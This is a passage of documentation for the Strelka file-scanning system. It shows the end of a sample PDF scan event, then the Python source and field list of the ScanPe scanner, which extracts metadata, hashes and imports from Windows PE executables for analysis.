1460 1461 582 1462[544 450 526 394]1466 1468 789 1469[268 263]1471 1472 789 1473[268 263]1475 1476 789 1477[268 263]1479 1480 789 1481[268 263]1483 1484 789 1485[268 263]1487 1490 582 1491 1492 1155 1493 1494 906 1495[812 933 394 515]1499 1500 601 1501 1502 394 1503 1504 601 1505 1506 394 1507 1508 601 1509 1510 394 1511[812 933 394 515 812 933 394 515 812 933 394 515 812 933 394 515 812 933 394 515]1531 1532 506 1533 1534 207 1535 1536 506 1537 1538 207 1539 1540 506 1541 1542 207 1543 1544 506 1545 1546 207 1547 1548 526 1549 1550 244 1551 1556 526 1557 1558 244 1559 1560 526 1561[563 526]1563 1564 530 1565[282 375]1567 1569 388 1570 1585 432 1586[638 588 638 588]1590 1591 244 1592 1593 432 1594[638 588]1596 1597 244 1598[638 588]1600 1603 812 1604[207]1605 1611 0 1612[1123 1084]1614 1619 0 1620[194 370]1622 1623 0 1624[600]1625 1627 0 1628 1629 821 1630 1631 531 1632 1633 1098 1634 1635 846 1636[544 450 526 394 413 338 282 244 320]1645 1649 244 1650[812 933 247 0 342 493 544 601 544 601 544 601 544 601 544 601 544 601 544 601]1670 1671 526 1672[544 601 556 758 656 556 656 556]1680 1681 722 1682[500 722 810 656 556 557 667 604 611 778 624 881 222 278 667 500 222 500 891 722 556 778 868 667 754 556]1708 1709 667 1710[500 618 380 278 611 278 611 748 722 772 500 611 500]1723 1724 611 1725 1726 545 1727 1728 556 1729[458 487 556 260 413 584 278 1333 1222 1049 1062 833 451 1222 944 771 556 667 556 0 667 556]1752[889 778 556 778 556 667 500 778 556 778 556 611 545 222 1333 1222 1049 778 556 1034 618 722 556 667 556 667 556 667 556 667 556]1783 1786 278 1787[778 556 778 556 722 333 722 333 722 556 722 556 667 500 611 278 545 437 722 556 706 604 565 611 500 667 556 667 556 778 556 0 778 556 778 556 778 556 667 500]1827 1830 556 1831 1832 500 1833 1835 556 1836[739]1837 1838 458 1839[631 507 278]1842 1843 556 1844[559 501 617]1847 1849 556 1850 1852 222 1853[327 304 222 572]1857 1859 833 1860 1861 556 1862[553 556 791 781 550]1867 1873 333 1874 1875 542 1876[500 222 260 222 349]1881 1882 278 1883[556 568 547 500 722 500 520 500 541]1892 1893 545 1894 1897 500 1898[778 531 507 559 552 397 500 404 556]1907 1908 500 1909[964 906 1005 712 429 719 764 661 632 485 527]1920 1921 383 1922[159]1923 1925 240 1926[364 481 321 191 355]1931 1933 222 1934 1935 333 1936 1937 349 1938 1941 584 1942 1948 333 1949 1950 278 1951 1958 333 1959[322 157 340 328 349]1964 1968 383 1969 1973 333 1974 1982 542 1983[383]1984 1988 542 1989[383]1990 1994 542 1995[383]1996 2000 542 2001[383]2002 2006 542 2007[383]2008 2016 542 2017[383]2018 2022 542 2023[383]2024 2028 542 2029[383]2030 2034 542 2035[383]2036 2040 542 2041[383]2042 2050 542 2051[383]2052 2056 542 2057[383]2058 2062 542 2063[383]2064 2068 542 2069[383]2070 2074 542 2075[383]2076 2084 542 2085[383]2086 2090 542 2091[383]2092 2096 542 2097[383]2098 2102 542 2103[383]2104 2108 542 2109[383]2110 2113 542 2114 2204 0 2205 2207 333 2208[575 547 772 958 772 560 781 601 778 556 722 500 611 404 625 529 756 577 891 833 674 556 674 500]2232 2233 667 2234[609 596 737 554 464 410 601 573 500 222 778]2245 2246 442 2247[667 719 556 559 1338 624 778 613 950 713 668 500 897 695 829 685 1053 867 604 458 796 688 778 556 803 631 803 631 1375 1139 833 612 1191 852 0 1338 624 722 500 503]2287 2292 0 2293[719 559 656 521 667 556 670 549 604 458 583 438 742 536 879 648 1137 870 753 521 722 500 611 458 925 691 667 521 861 666 861 666 278 923 669 667 551 656 583 722 552 722 552 667 521 833 688 333 667 556 667 556]2346[889 667 556 752 556 923 669 604 458 604 545 719 559 719 559 778 556 778 556 719 510 635 500 635 500 635 500 667 521 885 719 656 556 968 876 956 815 663 509 970 910 1034 878 778 559 747 666]2393 2430 0 2431[667 556 667 556 667 556 667 556 722 500 722 556 722 556 722 556 722 556 722 556 667 556 667 556 667 556 667 556 667 556 611 278 778 556 722 556 722 556 722 556 722 556 722 556 278 222]2477 2478 278 2479[667 500 667 500 667 500 556 222 556 222 556 222 556 222]2493 2498 833 2499[722 556 722 556 722 556 722 556 778 556 778 556 778 556 778 556 667 556 667 556 722 333 722 333 722 333 722 333 667 500 667 500 667 500 667 500 667 500 611 278 611 278 611 278 611 278 722 556 722 556 722 556 722 556 722 556 667 500 667 500 944 722 944 722 667 500 667 500 667 500 611 500 611 500 611 500 556 278 722 500 556 222]2581 2588 578 2589 2590 667 2591 2596 813 2597 2602 446 2603 2604 765 2605 2608 928 2609 2616 556 2617 2618 820 2619 2624 1015 2625 2632 222 2633 2634 375 2635 2640 571 2641 2646 556 2647 2648 827 2649 2650 1022 2651 2652 973 2653 2660 547 2661[813 960 1009 960]2665 2672 781 2673 2674 796 2675 2676 992 2677 2680 943 2681 2682 578 2683 2684 446 2685 2686 556 2687 2688 222 2689 2690 556 2691 2692 547 2693 2694 781 2695 2702 578 2703 2704 667 2705 2710 813 2711 2718 556 2719 2720 820 2721 2726 1015 2727 2734 781 2735 2736 796 2737 2738 992 2739 2742 943 2743 2749 578 2750 2754 667 2755 2759 333 2760 2764 556 2765 2766 813 2767 2768 869 2769[722]2770 2772 333 2773 2778 222 2779 2780 278 2781 2782 424 2783 2785 333 2786 2789 547 2790 2791 569 2792 2793 547 2794 2795 667 2796[862 887 765]2799 2801 333 2802 2806 781 2807[924 827 894 796 748]2812 2813 333 2814[556]2815 2816 722 2817[833 722 1164 944 667 611]2824[500 594]2826 2829 0 2830 2831 222 2832[521 667 682 349 685 367]2838 2839 687 2840 2848 333 2849[278]2850 2853 333 2854 2855 397 2856[333]2857 2867 0 2868[667 556 496 748 889 531 500]2875 2876 551 2877[490 458 222 422 500 401 688 559 556 500]2887 2889 608 2890[944 457]2892 2893 556 2894[521]2895 2896 542 2897[458 547 597 733 597 500 722 500 458 427 607 365 500 542 521 713 583 453 664]2916 2917 415 2918[449]2919 2920 410 2921[496 429 167 314 425 352 510 430 429 512 382 418 451 433 429 623]2937 2938 372 2939[377 600]2941 2942 377 2943 2944 372 2945 2946 318 2947[377 157 339 573 382 377 354]2954 2955 377 2956[378 220 382 407 573 321 391 385 321 378 440 343 157 240 382 321 385 321 379 440 343 741 1300 759 817 657 239 544]2984 2992 0 2993 2994 337 2995 2996 489 2997[450 394 450 394 709 655 749 607 609 745 656 789 584]3010 3012 0 3013[556 333 354]3016 3019 207 3020[793 1221 500]3024[500]3026[333 250 167 556 278 200 83 0 737 722 833 688 908]3039 3040 887 3041[667 722 500 556 611]3046 3047 500 3048[581]3049 3053 0 3054[569]3055 3057 722 3058[542 365]3060 3062 0 3063[353 0 263 289]3067 3073 0 3074 3075 713 3076 3077 244 3078 3079 713 3080 3081 244 3082 3083 713 3084 3085 244 3086 3087 713 3088 3089 244 3090 3091 713 3092 3093 244 3094 3095 713 3096 3097 244 3098 3099 713 3100 3101 244 3102[563 526]3104 3105 530 3106[563 526]3108 3109 530 3110 3113 337 3114 3115 489 3116 3117 821 3118 3119 531 3120[544 450 526 394 544 450 526 394 544 450 526 394]3132 3133 789 3134[268 263]3136 3137 789 3138[268 263 812 933 394 515 812 933 394 515 812 933 394 515]3152 3153 338 3154 3155 394 3156 3157 338 3158 3159 394 3160 3161 526 3162 3163 244 3164 3165 526 3166 3167 244 3168 3169 526 3170 3171 244 3172 3173 506 3174 3175 207 3176 3179 489 3180 3181 821 3182 3183 531 3184 3185 556 3186[278 833]3188 3189 556 3190 3191 333 3192[500 278 500 556 380 557 786]3199 3200 222 3201[556 547 568]3204 3205 556 3206[278 713 500 222 833]3211 3212 556 3213[333 500 387]3216 3218 500 3219 3222 556 3223 3224 458 3225[650 222 500 222 556 545 377 354 348 373 318]3236 3237 229 3238[377 383]3240 3243 157 3244[271]3245 3246 157 3247[275]3248 3249 572 3250 3252 382 3253[377 375 340 157 220 382 388 378 354 321]3263 3265 358 3266[369 364]3268 3271 0 3272[278]3273 3274 372 3275[377 328 372 778 667 556 722 333]3283 3290 578 3291 3298 222 3299 3306 547 3307 3310 222 3311 3314 547 3315[544 601 453 667 722 668 667 556 500 222 737 556 722 333 667]3330 3333 500 3334[222 542 365 667 500 667 500 604 458 656 583]3345 3353 0 3354[943 490 500 556 222 556 667 722 556 278 722 556 667 500 611]3369 3370 500 3371[577 425 648]3374 3379 0 3380[222]]>>\",\n \"<</K[34 35 36 37 38 39 40 41 42 43 44]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</A 73 0 R/BS<</S/S/Type/Border/W 0>>/Border[0 0 0]/Rect[382.256 45.506 424.517 59.5613]/Subtype/Link/Type/Annot>>\",\n \"<</Ascent 1006/CIDSet 60 0 R/CapHeight 716/Descent -325/Flags 4/FontBBox[-665 -325 2000 1006]/FontFamily(Arial)/FontFile2 61 0 R/FontName/AAHPAH+ArialMT/FontStretch/Normal/FontWeight 400/ItalicAngle 0/StemV 88/Type/FontDescriptor/XHeight 519>>\",\n \"<</K[59]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"<</S/URI/URI(http://bing.com)>>\",\n \"<</Differences[24/breve/caron/circumflex/dotaccent/hungarumlaut/ogonek/ring/tilde 39/quotesingle 96/grave 128/bullet/dagger/daggerdbl/ellipsis/emdash/endash/florin/fraction/guilsinglleft/guilsinglright/minus/perthousand/quotedblbase/quotedblleft/quotedblright/quoteleft/quoteright/quotesinglbase/trademark/fi/fl/Lslash/OE/Scaron/Ydieresis/Zcaron/dotlessi/lslash/oe/scaron/zcaron 160/Euro 164/currency 166/brokenbar 168/dieresis/copyright/ordfeminine 172/logicalnot/.notdef/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu 183/periodcentered/cedilla/onesuperior/ordmasculine 188/onequarter/onehalf/threequarters 192/Agrave/Aacute/Acircumflex/Atilde/Adieresis/Aring/AE/Ccedilla/Egrave/Eacute/Ecircumflex/Edieresis/Igrave/Iacute/Icircumflex/Idieresis/Eth/Ntilde/Ograve/Oacute/Ocircumflex/Otilde/Odieresis/multiply/Oslash/Ugrave/Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls/agrave/aacute/acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute/ecircumflex/edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve/oacute/ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex/udieresis/yacute/thorn/ydieresis]/Type/Encoding>>\",\n \"<</Count 1/Kids[3 0 R]/Type/Pages>>\",\n \"<</Filter/FlateDecode/First 9/Length 255/N 2/Type/ObjStm>>\",\n \"<</Filter/FlateDecode/Length 343>>\",\n \"<</Ordering(Identity)/Registry(Adobe)/Supplement 0>>\",\n \"<</Nums[0 21 0 R]>>\",\n \"[278 0 0 0 0 0 0 0 0 0 0 0 278 0 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 667 0 722 722 0 0 0 0 278 0 0 556 833 722 0 667 778 0 667 0 0 667 0 0 0 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 222 0 222 833 556 556 556 556 333 500 278 556 500 0 500]\",\n \"<</Filter/FlateDecode/First 149/Length 600/N 20/Type/ObjStm>>\",\n \"<</Filter/FlateDecode/First 33/Length 228/N 5/Type/ObjStm>>\",\n \"<</BaseFont/TimesNewRomanPSMT/Encoding/WinAnsiEncoding/FirstChar 32/FontDescriptor 7 0 R/LastChar 117/Subtype/TrueType/Type/Font/Widths 36 0 R>>\",\n \"<</K[18 0 R]/ParentTree 17 0 R/ParentTreeNextKey 1/RoleMap 16 0 R/Type/StructTreeRoot>>\",\n \"<</K 4/P 25 0 R/Pg 3 0 R/S/Span/Type/StructElem>>\",\n \"<</Length 3301/Subtype/XML/Type/Metadata>>\",\n \"<</Filter/FlateDecode/Length 14647/Length1 40536>>\",\n \"<</K[17 18 19 20 21 22 23 24 25 26]/P 18 0 R/Pg 3 0 R/S/P/Type/StructElem>>\",\n \"[64 0 R]\",\n \"<</Ascent 891/AvgWidth 401/CapHeight 693/Descent -216/Flags 32/FontBBox[-568 -216 2046 693]/FontName/TimesNewRomanPSMT/FontWeight 400/ItalicAngle 0/Leading 42/MaxWidth 2614/StemV 40/Type/FontDescriptor/XHeight 250>>\",\n \"[20 0 R 23 0 R 24 0 R 27 0 R 26 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 28 0 R 29 0 R 29 0 R 29 0 R 29 0 R 29 0 R 29 0 R 29 0 R 29 0 R 29 0 R 29 0 R 30 0 R 30 0 R 30 0 R 30 0 R 30 0 R 30 0 R 30 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 31 0 R 32 0 R 32 0 R 32 0 R 32 0 R 32 0 R 32 0 R 32 0 R 32 0 R 32 0 R 32 0 R 33 0 R 33 0 R 34 0 R 34 0 R 35 0 R]\",\n ]\n ),\n \"author\": \"Ryan.OHoro\",\n \"creator\": \"Microsoft\u00ae Word 2016\",\n \"creation_date\": \"2022-12-16T19:48:52Z\",\n \"dirty\": False,\n \"embedded_files\": {\"count\": 0, \"names\": []},\n \"encrypted\": False,\n \"needs_pass\": False,\n \"format\": \"PDF 1.6\",\n \"keywords\": \"\",\n \"language\": \"en\",\n \"modify_date\": \"2024-01-08T14:48:01Z\",\n \"old_xrefs\": False,\n \"pages\": 1,\n \"producer\": \"Microsoft\u00ae Word 2016\",\n \"repaired\": False,\n \"subject\": \"\",\n \"title\": \"\",\n \"xrefs\": 81,\n \"phones\": [],\n \"objects\": {},\n }\nCollects metadata from PE files.
Source code instrelka/src/python/strelka/scanners/scan_pe.py class ScanPe(strelka.Scanner):\n \"\"\"Collects metadata from PE files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n extract_overlay = options.get(\"extract_overlay\", False)\n\n try:\n pe = pefile.PE(data=data)\n if not pe:\n self.flags.append(\"pe_load_error\")\n return\n except pefile.PEFormatError:\n self.flags.append(\"pe_format_error\")\n return\n except AttributeError:\n self.flags.append(\"pe_attribute_error\")\n return\n\n if rich_dict := parse_rich(pe):\n if type(rich_dict) is not str:\n self.event[\"rich\"] = rich_dict\n else:\n self.flags.append(rich_dict)\n\n if cert_dict := parse_certificates(data):\n if type(cert_dict) is not str:\n self.event[\"security\"] = cert_dict\n else:\n self.flags.append(cert_dict)\n\n self.event[\"total\"] = {\n \"libraries\": 0,\n \"resources\": 0,\n \"sections\": len(pe.sections),\n \"symbols\": 0,\n }\n self.event[\"summary\"] = {}\n\n offset = pe.get_overlay_data_start_offset()\n\n if offset and len(data[offset:]) > 0:\n self.event[\"overlay\"] = {\"size\": len(data[offset:]), \"extracted\": False}\n self.flags.append(\"overlay\")\n\n if extract_overlay:\n # Send extracted file back to Strelka\n self.emit_file(data[offset:], name=\"pe_overlay\")\n self.event[\"overlay\"].update({\"extracted\": True})\n\n if hasattr(pe, \"DIRECTORY_ENTRY_DEBUG\"):\n for d in pe.DIRECTORY_ENTRY_DEBUG:\n try:\n data = pe.get_data(d.struct.AddressOfRawData, d.struct.SizeOfData)\n if data.find(b\"RSDS\") != -1 and len(data) > 24:\n pdb = data[data.find(b\"RSDS\") :]\n self.event[\"debug\"] = {\n \"type\": \"rsds\",\n \"guid\": b\"%s-%s-%s-%s\"\n % (\n binascii.hexlify(pdb[4:8]),\n binascii.hexlify(pdb[8:10]),\n binascii.hexlify(pdb[10:12]),\n binascii.hexlify(pdb[12:20]),\n ),\n \"age\": struct.unpack(\"<L\", pdb[20:24])[0],\n \"pdb\": pdb[24:].split(b\"\\x00\")[0],\n }\n elif data.find(b\"NB10\") != -1 and len(data) > 16:\n pdb = data[data.find(b\"NB10\") + 8 :]\n self.event[\"debug\"] = {\n \"type\": \"nb10\",\n \"created\": struct.unpack(\"<L\", pdb[0:4])[0],\n \"age\": struct.unpack(\"<L\", pdb[4:8])[0],\n \"pdb\": pdb[8:].split(b\"\\x00\")[0],\n }\n except pefile.PEFormatError:\n self.flags.append(\"corrupt_debug_header\")\n\n self.event[\"file_info\"] = {\n \"fixed\": {},\n \"string\": [],\n \"var\": {},\n }\n\n # https://github.com/erocarrera/pefile/blob/master/pefile.py#L3553\n if hasattr(pe, \"FileInfo\"):\n if pe.FileInfo:\n fi = pe.FileInfo[0] # contains a single element\n for i in fi:\n if i.Key == b\"StringFileInfo\":\n for st in i.StringTable:\n for k, v in st.entries.items():\n if k.decode() in COMMON_FILE_INFO_NAMES:\n self.event[\"file_info\"][\n COMMON_FILE_INFO_NAMES[k.decode()]\n ] = v.decode()\n else:\n self.event[\"file_info\"][\"string\"].append(\n {\n \"name\": k.decode(),\n \"value\": v.decode(),\n }\n )\n elif i.Key == b\"VarFileInfo\":\n for v in i.Var:\n if translation := v.entry.get(b\"Translation\"):\n (lang, char) = translation.split()\n self.event[\"file_info\"][\"var\"] = {\n \"language\": VAR_FILE_INFO_LANGS.get(int(lang, 16)),\n \"character_set\": VAR_FILE_INFO_CHARS.get(\n int(char, 16)\n ),\n }\n\n if hasattr(pe, \"VS_FIXEDFILEINFO\"):\n vs_ffi = pe.VS_FIXEDFILEINFO[0] # contains a single element\n self.event[\"file_info\"][\"fixed\"] = {\n \"flags\": [],\n \"operating_systems\": [],\n \"type\": {\n \"primary\": FIXED_FILE_INFO_TYPE.get(vs_ffi.FileType),\n \"sub\": FIXED_FILE_INFO_SUBTYPE.get(\n (vs_ffi.FileType, vs_ffi.FileSubtype), \"\"\n ),\n },\n }\n\n # http://www.jasinskionline.com/windowsapi/ref/v/vs_fixedfileinfo.html\n ff_flags = vs_ffi.FileFlagsMask & vs_ffi.FileFlags\n for f in FIXED_FILE_INFO_FLAGS:\n if ff_flags & f:\n self.event[\"file_info\"][\"fixed\"][\"flags\"].append(\n FIXED_FILE_INFO_FLAGS[f]\n )\n for o in FIXED_FILE_INFO_OS:\n if vs_ffi.FileOS & o:\n self.event[\"file_info\"][\"fixed\"][\"operating_systems\"].append(\n FIXED_FILE_INFO_OS[o]\n )\n\n self.event[\"header\"] = {\n \"machine\": {\n \"id\": pe.FILE_HEADER.Machine,\n \"type\": pefile.MACHINE_TYPE.get(pe.FILE_HEADER.Machine, \"\").replace(\n \"IMAGE_FILE_MACHINE_\", \"\"\n ),\n },\n \"magic\": {\n \"dos\": MAGIC_DOS.get(pe.DOS_HEADER.e_magic, \"\"),\n \"image\": MAGIC_IMAGE.get(pe.OPTIONAL_HEADER.Magic, \"\"),\n },\n \"subsystem\": pefile.SUBSYSTEM_TYPE.get(\n pe.OPTIONAL_HEADER.Subsystem, \"\"\n ).replace(\"IMAGE_SUBSYSTEM_\", \"\"),\n }\n\n self.event[\"base_of_code\"] = pe.OPTIONAL_HEADER.BaseOfCode\n self.event[\"address_of_entry_point\"] = pe.OPTIONAL_HEADER.AddressOfEntryPoint\n self.event[\"image_base\"] = pe.OPTIONAL_HEADER.ImageBase\n self.event[\"size_of_code\"] = pe.OPTIONAL_HEADER.SizeOfCode\n self.event[\"size_of_initialized_data\"] = (\n pe.OPTIONAL_HEADER.SizeOfInitializedData\n )\n self.event[\"size_of_headers\"] = pe.OPTIONAL_HEADER.SizeOfHeaders\n self.event[\"size_of_heap_reserve\"] = pe.OPTIONAL_HEADER.SizeOfHeapReserve\n self.event[\"size_of_image\"] = pe.OPTIONAL_HEADER.SizeOfImage\n self.event[\"size_of_stack_commit\"] = pe.OPTIONAL_HEADER.SizeOfStackCommit\n self.event[\"size_of_stack_reserve\"] = pe.OPTIONAL_HEADER.SizeOfStackReserve\n self.event[\"size_of_heap_commit\"] = pe.OPTIONAL_HEADER.SizeOfHeapCommit\n self.event[\"size_of_uninitialized_data\"] = (\n pe.OPTIONAL_HEADER.SizeOfUninitializedData\n )\n self.event[\"file_alignment\"] = pe.OPTIONAL_HEADER.FileAlignment\n self.event[\"section_alignment\"] = pe.OPTIONAL_HEADER.SectionAlignment\n self.event[\"checksum\"] = pe.OPTIONAL_HEADER.CheckSum\n\n self.event[\"major_image_version\"] = pe.OPTIONAL_HEADER.MajorImageVersion\n self.event[\"minor_image_version\"] = pe.OPTIONAL_HEADER.MinorImageVersion\n self.event[\"major_linker_version\"] = pe.OPTIONAL_HEADER.MajorLinkerVersion\n self.event[\"minor_linker_version\"] = pe.OPTIONAL_HEADER.MinorLinkerVersion\n self.event[\"major_operating_system_version\"] = (\n pe.OPTIONAL_HEADER.MajorOperatingSystemVersion\n )\n self.event[\"minor_operating_system_version\"] = (\n pe.OPTIONAL_HEADER.MinorOperatingSystemVersion\n )\n self.event[\"major_subsystem_version\"] = pe.OPTIONAL_HEADER.MajorSubsystemVersion\n self.event[\"minor_subsystem_version\"] = pe.OPTIONAL_HEADER.MinorSubsystemVersion\n self.event[\"image_version\"] = float(\n f\"{pe.OPTIONAL_HEADER.MajorImageVersion}.{pe.OPTIONAL_HEADER.MinorImageVersion}\"\n )\n self.event[\"linker_version\"] = float(\n f\"{pe.OPTIONAL_HEADER.MajorLinkerVersion}.{pe.OPTIONAL_HEADER.MinorLinkerVersion}\"\n )\n self.event[\"operating_system_version\"] = float(\n f\"{pe.OPTIONAL_HEADER.MajorOperatingSystemVersion}.{pe.OPTIONAL_HEADER.MinorOperatingSystemVersion}\"\n )\n self.event[\"subsystem_version\"] = float(\n f\"{pe.OPTIONAL_HEADER.MajorSubsystemVersion}.{pe.OPTIONAL_HEADER.MinorSubsystemVersion}\"\n )\n\n try:\n self.event[\"compile_time\"] = datetime.datetime.utcfromtimestamp(\n pe.FILE_HEADER.TimeDateStamp\n ).isoformat()\n except OverflowError:\n self.flags.append(\"invalid compile time caused an overflow error\")\n\n if hasattr(pe.OPTIONAL_HEADER, \"BaseOfData\"):\n self.event[\"base_of_data\"] = pe.OPTIONAL_HEADER.BaseOfData\n\n dll_characteristics = []\n for o in CHARACTERISTICS_DLL:\n if pe.OPTIONAL_HEADER.DllCharacteristics & o:\n dll_characteristics.append(CHARACTERISTICS_DLL[o])\n\n if dll_characteristics:\n self.event[\"dll_characteristics\"] = dll_characteristics\n\n image_characteristics = []\n for o in CHARACTERISTICS_IMAGE:\n if pe.FILE_HEADER.Characteristics & o:\n image_characteristics.append(CHARACTERISTICS_IMAGE[o])\n\n if image_characteristics:\n self.event[\"image_characteristics\"] = image_characteristics\n\n self.event[\"resources\"] = []\n if hasattr(pe, \"DIRECTORY_ENTRY_RESOURCE\"):\n resource_md5_set = set()\n resource_sha1_set = set()\n resource_sha256_set = set()\n\n for res0 in pe.DIRECTORY_ENTRY_RESOURCE.entries:\n if hasattr(res0, \"directory\"):\n for res1 in res0.directory.entries:\n if hasattr(res1, \"directory\"):\n for res2 in res1.directory.entries:\n lang = res2.data.lang\n sub = res2.data.sublang\n sub = pefile.get_sublang_name_for_lang(lang, sub)\n try:\n data = pe.get_data(\n res2.data.struct.OffsetToData,\n res2.data.struct.Size,\n )\n except pefile.PEFormatError:\n continue\n resource_md5 = hashlib.md5(data).hexdigest()\n resource_sha1 = hashlib.sha1(data).hexdigest()\n resource_sha256 = hashlib.sha256(data).hexdigest()\n\n resource_md5_set.add(resource_md5)\n resource_sha1_set.add(resource_sha1)\n resource_sha256_set.add(resource_sha256)\n\n resource_dict = {\n \"id\": res1.id,\n \"language\": {\"sub\": sub.replace(\"SUBLANG_\", \"\")},\n \"type\": pefile.RESOURCE_TYPE.get(\n res0.id, \"\"\n ).replace(\"RT_\", \"\"),\n \"md5\": resource_md5,\n \"sha1\": resource_sha1,\n \"sha256\": resource_sha256,\n }\n\n if lang in pefile.LANG:\n resource_dict[\"language\"][\"primary\"] = pefile.LANG[\n lang\n ].replace(\"LANG_\", \"\")\n\n if res1.name:\n resource_dict[\"name\"] = str(res1.name)\n\n self.event[\"resources\"].append(resource_dict)\n\n # TODO: Add optional resource extraction\n\n self.event[\"summary\"][\"resource_md5\"] = list(resource_md5_set)\n self.event[\"summary\"][\"resource_sha1\"] = list(resource_sha1_set)\n self.event[\"summary\"][\"resource_sha256\"] = list(resource_sha256_set)\n\n self.event[\"total\"][\"resources\"] = len(self.event[\"resources\"])\n\n self.event[\"sections\"] = []\n section_md5_set = set()\n section_sha1_set = set()\n section_sha256_set = set()\n\n for sec in pe.sections:\n try:\n name = sec.Name.rstrip(b\"\\x00\").decode()\n section_md5 = sec.get_hash_md5()\n section_sha1 = sec.get_hash_sha1()\n section_sha256 = sec.get_hash_sha256()\n\n section_md5_set.add(section_md5)\n section_sha1_set.add(section_sha1)\n section_sha256_set.add(section_sha256)\n\n row = {\n \"address\": {\n \"physical\": sec.Misc_PhysicalAddress,\n \"virtual\": sec.VirtualAddress,\n },\n \"characteristics\": [],\n \"entropy\": sec.get_entropy(),\n \"name\": name,\n \"size\": sec.SizeOfRawData,\n \"md5\": section_md5,\n \"sha1\": section_sha1,\n \"sha256\": section_sha256,\n }\n for o in CHARACTERISTICS_SECTION:\n if sec.Characteristics & o:\n row[\"characteristics\"].append(CHARACTERISTICS_SECTION[o])\n\n # TODO: Add optional resource extraction\n\n self.event[\"sections\"].append(row)\n self.event[\"summary\"][\"section_md5\"] = list(section_md5_set)\n self.event[\"summary\"][\"section_sha1\"] = list(section_sha1_set)\n self.event[\"summary\"][\"section_sha256\"] = list(section_sha256_set)\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"exception thrown when parsing section's {e}\")\n\n self.event[\"symbols\"] = {\n \"exported\": [],\n \"imported\": [],\n \"libraries\": [],\n \"table\": [],\n }\n\n if hasattr(pe, \"DIRECTORY_ENTRY_IMPORT\"):\n self.event[\"imphash\"] = pe.get_imphash()\n\n for imp in pe.DIRECTORY_ENTRY_IMPORT:\n lib = imp.dll.decode()\n if lib not in self.event[\"symbols\"][\"libraries\"]:\n self.event[\"symbols\"][\"libraries\"].append(lib)\n\n row = {\n \"library\": lib,\n \"symbols\": [],\n \"type\": \"import\",\n }\n for e in imp.imports:\n if not e.name:\n name = f\"ord{e.ordinal}\"\n else:\n name = e.name.decode()\n self.event[\"symbols\"][\"imported\"].append(name)\n row[\"symbols\"].append(name)\n self.event[\"symbols\"][\"table\"].append(row)\n\n if hasattr(pe, \"DIRECTORY_ENTRY_EXPORT\"):\n self.event[\"dll_name\"] = pe.DIRECTORY_ENTRY_EXPORT.name\n for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:\n if not exp.name:\n name = f\"ord{exp.ordinal}\"\n else:\n name = exp.name\n self.event[\"symbols\"][\"exported\"].append(name)\n self.event[\"symbols\"][\"table\"].append(\n {\n \"address\": exp.address,\n \"symbol\": name,\n \"type\": \"export\",\n }\n )\n\n self.event[\"total\"][\"libraries\"] = len(self.event[\"symbols\"][\"libraries\"])\n self.event[\"total\"][\"symbols\"] = len(self.event[\"symbols\"][\"table\"])\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPe.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-dosexec mz_file"},{"location":"Scanners/ScanPe.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeaddress_of_entry_point int base_of_code int checksum int compile_time str debug dict debug.age int debug.guid bytes debug.pdb bytes debug.type str dll_characteristics str elapsed str file_alignment int file_info dict file_info.assembly_version str file_info.comments str file_info.company_name str file_info.file_description str file_info.file_version str file_info.fixed dict file_info.fixed.flags list file_info.fixed.operating_systems list file_info.fixed.type dict file_info.fixed.type.primary str file_info.fixed.type.sub str file_info.internal_name str file_info.legal_copyright str file_info.legal_trademarks str file_info.original_filename str file_info.product_name str file_info.product_version str file_info.string list file_info.var dict file_info.var.character_set str file_info.var.language NoneType flags list header dict header.machine dict header.machine.id int header.machine.type str header.magic dict header.magic.dos str header.magic.image str header.subsystem str image_base int image_characteristics str image_version float linker_version float major_image_version int major_linker_version int major_operating_system_version int major_subsystem_version int minor_image_version int minor_linker_version int minor_operating_system_version int minor_subsystem_version int operating_system_version float overlay dict overlay.extracted bool overlay.size int resources str section_alignment int sections str size_of_code int size_of_headers int size_of_heap_commit int size_of_heap_reserve int size_of_image int size_of_initialized_data int size_of_stack_commit int size_of_stack_reserve int size_of_uninitialized_data int subsystem_version float summary dict summary.resource_md5 str summary.resource_sha1 str summary.resource_sha256 str summary.section_md5 str summary.section_sha1 str summary.section_sha256 str symbols dict symbols.exported list symbols.imported list symbols.libraries list symbols.table list total dict total.libraries int total.resources int total.sections int total.symbols int"},{"location":"Scanners/ScanPe.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
